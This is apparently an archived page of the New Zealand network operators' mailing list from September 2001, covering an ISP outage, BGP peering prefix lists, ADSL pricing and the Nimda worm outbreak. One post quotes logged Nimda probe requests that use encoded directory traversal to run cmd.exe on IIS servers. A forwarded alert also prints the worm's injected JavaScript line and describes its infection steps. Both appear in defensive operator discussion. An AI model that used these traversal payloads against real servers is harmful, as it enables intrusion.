- NZNOG - lists.nznog.org

RE: Telstra Saturn off air?
by PhoneNet 21 Sep '01

21 Sep '01

Thanks to Juha and David for the replies.... we are on a Citylink connection to Netlink and could get anywhere inside NZ but until 5:30pm approx could get no further... My sister rang me to see what was up also as she could not log in to Paradise via phone... Mind you I'd still like the courtesy of a call from Telstra Saturn to explain the problem...... after all I'm a business and paying business rates for a service.... Ian --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Telstra Saturn off air?
by PhoneNet 21 Sep '01

21 Sep '01

Anyone out there tell me if Telstra Saturn has gone off the air.... I've reported a failure to their afterhours help-desk (answered by no less than an answering service!) indicating we have been unable to get to any destination outside New Zealand for almost three hours - I've yet to receive a response.... We are running on our backup facility using one of their competitors but this is less than satisfactory... and sadly its not the first time its happened recently.... Anyone got any inside info ?.... Ian Cousins Director, PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: [jim@cyberjunkees.com: Re: FW: Worm probes]
by robbie_gernandt＠wilsonandhorton.co.nz 21 Sep '01

21 Sep '01

W32.Nimda.A(a)mm GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../ ..%c1%1c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir We're getting hit at about 72 hits per minute, mostly from 203.x.x.x Robbie Gernandt Network Consultant Wilson & Horton Ltd *************************************************************************** This may contain privileged and confidential information intended only for the use of the intended recipient. If you are not the intended recipient of this message, any use, dissemination, distribution or reproduction of this message is prohibited. Any views expressed in this message are those of the individual sender and may not necessarily reflect the views of Wilson & Horton Limited. For more information on Wilson & Horton please visit our web site at http://www.wilsonandhorton.co.nz ***************************************************************************

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Update to ihug prefix list.
by Simon Lyall 20 Sep '01

20 Sep '01

For anyone peering with us I've just made an update to our current list of prefixes. The change is this one has been added: ip prefix-list ihug-networks seq 22 permit 202.37.187.0/24 Complete list should be: ip prefix-list ihug-networks seq 5 permit 202.36.94.0/23 le 24 ip prefix-list ihug-networks seq 10 permit 202.37.129.0/24 ip prefix-list ihug-networks seq 15 permit 202.37.136.0/24 ip prefix-list ihug-networks seq 20 permit 202.37.182.0/24 ip prefix-list ihug-networks seq 22 permit 202.37.187.0/24 ip prefix-list ihug-networks seq 25 permit 202.37.194.0/24 ip prefix-list ihug-networks seq 30 permit 202.49.59.0/24 ip prefix-list ihug-networks seq 35 permit 202.49.88.0/23 le 24 ip prefix-list ihug-networks seq 40 permit 202.49.148.0/23 le 24 ip prefix-list ihug-networks seq 45 permit 202.49.176.0/23 le 24 ip prefix-list ihug-networks seq 50 permit 202.49.180.0/23 le 24 ip prefix-list ihug-networks seq 55 permit 202.49.186.0/24 ip prefix-list ihug-networks seq 60 permit 202.49.240.0/22 le 24 ip prefix-list ihug-networks seq 65 permit 202.49.249.0/24 ip prefix-list ihug-networks seq 70 permit 202.49.252.0/22 le 24 ip prefix-list ihug-networks seq 75 permit 202.50.84.0/24 ip prefix-list ihug-networks seq 80 permit 202.50.103.0/24 ip prefix-list ihug-networks seq 85 permit 202.50.255.0/24 ip prefix-list ihug-networks seq 90 permit 203.109.128.0/17 le 24 ip prefix-list ihug-networks seq 95 permit 203.173.128.0/17 le 24 ip prefix-list ihug-networks seq 100 permit 210.55.184.0/24 ip prefix-list ihug-networks seq 105 permit 210.55.203.0/24 ip prefix-list ihug-networks seq 110 permit 210.55.248.0/21 le 24 Any problems please let me know. Simon. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Fw: Bizarre moneygrubbing structure of ADSL charging
by Brian Gibbons 19 Sep '01

19 Sep '01

>From: "J S Russell" <jsr(a)jsr.com> >Looking at the figures on resource usages and costs vs margins and >turnover for adsl users, my bet is that most ISP's wouldn't give two shits >about them all leaving for a different product. >I was going to add a footnote here with an analysis of the bizarre, >moneygrubbing structure of ADSL charging by a certain large NZ telco, but >I realised I was preaching to the choir by doing so in _this_ mailing >list. I think you are wrong, no ISP has ever complained about margins and the ADSL charging structure on this list. What's so bizzare about it? --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: [jim@cyberjunkees.com: Re: FW: Worm probes]
by Juha Saarinen 19 Sep '01

19 Sep '01

:: However, I firmly believe that if you are connected to a :: network outside :: your administrative control, you should treat it as a :: hostile environment, :: and protect your network (the network under your :: administrative control) :: accordingly. Sure, that's what anyone does, after five minutes of exposure to the Wild and Woolly Internet. ;-) The issue that I'm trying to raise is that even though my network is locked down tight, I'm still being bombarded by traffic that I don't want, and which terminates at my router, even though I reject/drop that traffic. So, I pay for that traffic. I think it would be a great PR move for ISPs to help their customers, who obviously don't have control over the upstream network, to ditch unwanted/hostile traffic further upstream. In the light of SirCam, Code Red Mk I and II, NIMDA, etc, it's becoming downright dangerous for your financial health to operate a Jetstream connection. A firewall and antivirus will only keep the local network clean; they can't do anything about incoming traffic. -- Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Cleaner for Nimda Virus
by Aaron Roydhouse 19 Sep '01

19 Sep '01

Thought people might like to have this handy. Luckily I haven't had to test it myself. Aaron. ----- Original Message ----- From: "Sheldon Koehler" <skoehler(a)tenforward.com> Sent: Thursday, September 20, 2001 6:28 AM Subject: Re: [imail] Nimda Virus > trend has a cleaner!!!! First test on a W95 was successful. NT is next... > > http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VNa me=PE_NIMDA.A --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Problem with Clear to ihug BGP session.
by Simon Lyall 18 Sep '01

18 Sep '01

Could someone at Clear please have a look at this, we had max prefixes set at 200 and it's gone through that, I bumped them to 1000 and it's over that as well. I guess somebody stuffed up their filters. 192.203.154.8 4 4768 178091 180817 0 0 0 03:17:57 Idle (PfxCt) 203.167.249.41 4 4768 177189 178948 0 0 0 03:17:40 Idle (PfxCt) All peering traffic is currently going via Netgate etc. I tried ringing a few clear numbers we had and non of the guys seemed able to look at the problem. I suggested email here and one agreeded. Anyway call our noc on 09 359 2708 if you need to talk to the duty guy here. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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missing posts from nznog archives
by Joe Abley 18 Sep '01

18 Sep '01

The archives at http://list.waikato.ac.nz/archives/nznog seem to be truncated (at least for recent months). I was looking for a link to Lindsay Druett's message of August 6 about the final decommissioning of the NZIX, and couldn't find it. Is anybody else keeping archives on-line anywhere? Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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[jim@cyberjunkees.com: Re: FW: Worm probes]
by Joe Abley 18 Sep '01

18 Sep '01

Sorry for the lame cross-list fertilisation, but this seemed like a nice comprehensive summary. I'm getting hit by this big-time, here. ----- Forwarded message from Jim Olsen <jim(a)cyberjunkees.com> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu From: Jim Olsen <jim(a)cyberjunkees.com> Reply-To: jim(a)cyberjunkees.com Organization: CyberJunkees To: "'nanog(a)merit.edu'" <nanog(a)merit.edu> Subject: Re: FW: Worm probes Date: Tue, 18 Sep 2001 14:03:52 -0400 X-Mailer: KMail [version 1.2.3] In-Reply-To: <F16E03C431B5D211893000104BC5C1A70BC168A3(a)powaymail.credco.firstam.com> Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog This is the information i've collected thus far on W32.nimda: W32.nimda is NOT a code red variant, and the people who referring to it as "Code Blue" were mistaken... The name it has been given (at least by TruSecure) is W32.nimda.a.mm. It uses several vulnerabilities in Windows NT and 2000 server's to infect a server, and also employ's email and web site mobile code to infect Windows 9x/ME/NT/2k boxes. During the initial infection of a server, the worm does the following: - download a file named "admin.dll" via tftp from the system that is trying to infect the target - add the guest account to the local administrators group and activates the account - makes sure c$ is shared out - copies itself to c, d, and e drives - tries to mail itself to email addresses that it discovers on the server - creates a file named readme.exe, which is used in the mobile code inserted on the web sites below - add this string to the web pages found on the server: <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html> - scans for and infects other vulnerable IIS servers - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) If a user views a web site that is hosted on an infected server, the following happens: - upon viewing an infected page, the mobile code extracts to readme.exe and starts in windows media player (without user intervention) - the user's machine becomes infected with W32.nimda at this point and time - the worm starts scanning for other vulnerable IIS servers - the worm emails itself to everyone on the user's address book - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogjan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) It us unknown to me what happens (at this point in time) if a user opens an attachment that is sent from an infected site. It is possible that it could automatically infect the user's computer using the same methods mentioned above. EVERYONE who uses internet explorer to browse the internet should probably do one of two things to stop from being automatically infected by W32.nimda (i have not tested whether or not turning off javascript fixes the problem): o) don't browse web pages until microsoft releases a patch o) turn OFF javascript EVERYONE who uses outlook/outlook express should, at the very least, not open any attachments that they are not expecting. Turning off auto-preview might be a good idea as well. Slashdot has an article discussing this: http://slashdot.org/articles/01/09/18/151203.shtml On Tuesday 18 September 2001 11:33, Braun, Mike wrote: > I received this warning from TruSecure regarding the latest worm attack. > > Mike Braun > First American CREDCO > > -----Original Message----- > TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm > > Date: September 18, 2001 > Time: 1000 EDT > > RISK INDICES: > > Initial Assessment: RED HOT > > Threat: VERY HIGH, (rapidly increasing) > > Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0, > 5.0, and internal networks. > > Cost: High, command execution is possible > > Vulnerable Systems: IIS 4.0 and 5.0 > > SUMMARY: > A new IIS worm is spreading rapidly. Its working name is Nimda: > W32.nimda.a.mm > > It started about 9am eastern time today, Tuesday,September 18, 2001, > Mulitple sensors world-wide run by TruSecure corporation are getting > multiple hundred hits per hour. And began at 9:08am am. > > The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for > multiple vulnerabilities including: > > Almost all are get scripts, and a get msadc (cmd.exe) > get_mem_bin > vti_bin owssvr.dll > Root.exe > CMD.EXE > ../ (Unicode) > Getadmin.dll > Default.IDA > /Msoffice/ cltreq.asp > > This is not code red or a code red variant. > > The worm, like code red attempts to infect its local sub net first, > then spreads beyond the local address space. > > It is spreading very rapidly. > > TruSecure believes that this worm will infect any IIS 4 and IIS 5 > box with well known vulnerabilities. We believe that there are > nearly 1Million such machines currently exposed to the Internet. > > Risks Indices: > Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of > Internet Web server hosts: TruSecure process and essential > configurations should generally be protective. The vulnerability > prevalence world-wide is very high > > Threat - VERY HIGH and Growing The rate of growth and spread is > exceedingly rapid - significantly faster than any worm to date and > significantly faster than any variant of Code red. > > Cost -- Unknown, probably moderate per infected system. > > > The worm itself is a file called > README.EXE, or ADMIN.DLL > a 56K file which is advertised as an audio xwave mime type file. > > Other RISKS: > There is risk of DOS of network segments by traffic volume alone > There is large risk of successful attack to both Internet exposed IIS > boxes and to developer and Intranet boxes inside of corporations. > > Judging by the Code Red II experience, we expect many subtle routes > of infection leading to inside corporate infections. > > We cannot discount the coincidence of the date and time of release, > exactly one week to (probably to the minute) as the World Trade > Center attack . > > > REPLICATION: > There are at least three mechanisms of spread: > The worm seems to spread both by a direct IIS across Internet (IP > spread) > It probably also spreads by local shares. (this is not known for > sure at this time) > There is also an email vector where README.EXE is sent via email to > numerous accounts. > > Mitigations > TruSecure essential practices should work. > Block all email with EXE attachments > Filter for README.EXE > Make sure IIS boxes are well patched and hardened, or removed from > both the Internet and Intranets. > Make sure any developer computing platforms are not running IIS of > any version (many do so by default if either. > Disconnect mail from the Internet > Advise users not to double click on any unexpected attachments. > Update anti-virus when your vendor has the signature. > > > -----Original Message----- > From: Bryan Heitman [mailto:bryanh(a)communitech.net] > Sent: Tuesday, September 18, 2001 8:22 AM > To: nanog(a)merit.edu > Subject: Re: Worm probes > > > > We're also seeing a large increase in this activity. This seems to be more > severe than the first time. Have an additional 30 to 40 meg inbound from > this. > > Best regards, > > > Bryan Heitman > CommuniTech.Net, Inc. > ----- Original Message ----- > From: <up(a)3.am> > To: <nanog(a)merit.edu> > Sent: Tuesday, September 18, 2001 10:05 AM > Subject: Re: Worm probes > > > ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k > > box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this > > time of day, although still well short of capacity...apache server > > processor load is WAY up just from the requests, and the logs are growing > > like mad. > > > > On Tue, 18 Sep 2001, deeann mikula wrote: > > > On Tue, 18 Sep 2001, ravi pina wrote: > > > > On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma(a)pair.com said at one > > point in time: > > > > > Has anyone else been seeing a dramatic increase in /scripts/.. NT > > worm > > > > > > probes this morning? We're seeing about 8000/second, starting > > around 9:15 > > > > > > Eastern time, to and from a wide variety of addresses. > > > > > > > > affirmative. i just looked at my logs, and it looks like > > > > each probe tries a bunch of things. i haven't seen much > > > > on the lists, but i'm looking right now. > > > > > > i'm pretty sure that the worm's attack phase starts on the 20th (which > > > of course, depends upon a correctly set system clock) and also that > > > attempting to execute something like /scripts/root.ext/c++ something > > > is involved. > > > > > > i think that cert's website would be a good place to look. i'm *not* > > > a security/virus chick, but i did host a talk by marty linder of cert > > > where he discected code red's activity and presented a summary. > > > > > > cert is of course, http://www.cert.org. > > > > > > > > > deeann m.m. mikula > > > > > > director of operations > > > telerama public access internet > > > http://www.telerama.com > > > 1.877.688.3200 > > > > James Smallacombe PlantageNet, Inc. CEO and Janitor > > up(a)3.am http://3.am > > ========================================================================= > > "MMS <firstam.com>" made the following > annotations on 09/18/01 08:34:15 > --------------------------------------------------------------------------- >--- "THIS E-MAIL MESSAGE AND ANY FILES TRANSMITTED HEREWITH, ARE INTENDED > SOLELY FOR THE USE OF THE INDIVIDUAL(S) ADDRESSED AND MAY CONTAIN > CONFIDENTIAL, PROPRIETARY OR PRIVILEGED INFORMATION. IF YOU ARE NOT THE > ADDRESSEE INDICATED IN THIS MESSAGE (OR RESPONSIBLE FOR DELIVERY OF THIS > MESSAGE TO SUCH PERSON) YOU MAY NOT REVIEW, USE, DISCLOSE OR DISTRIBUTE > THIS MESSAGE OR ANY FILES TRANSMITTED HEREWITH. IF YOU RECEIVE THIS > MESSAGE IN ERROR, PLEASE CONTACT THE SENDER BY REPLY E-MAIL AND DELETE THIS > MESSAGE AND ALL COPIES OF IT FROM YOUR SYSTEM." > > =========================================================================== >=== -- "Computer games don't affect kids, I mean if Pacman affected us as kids, we'd all be running around in darkened rooms, munching pills, and listening to repetitive music." ~unknown **** Jim Olsen Systems Administrator CyberJunkees **** ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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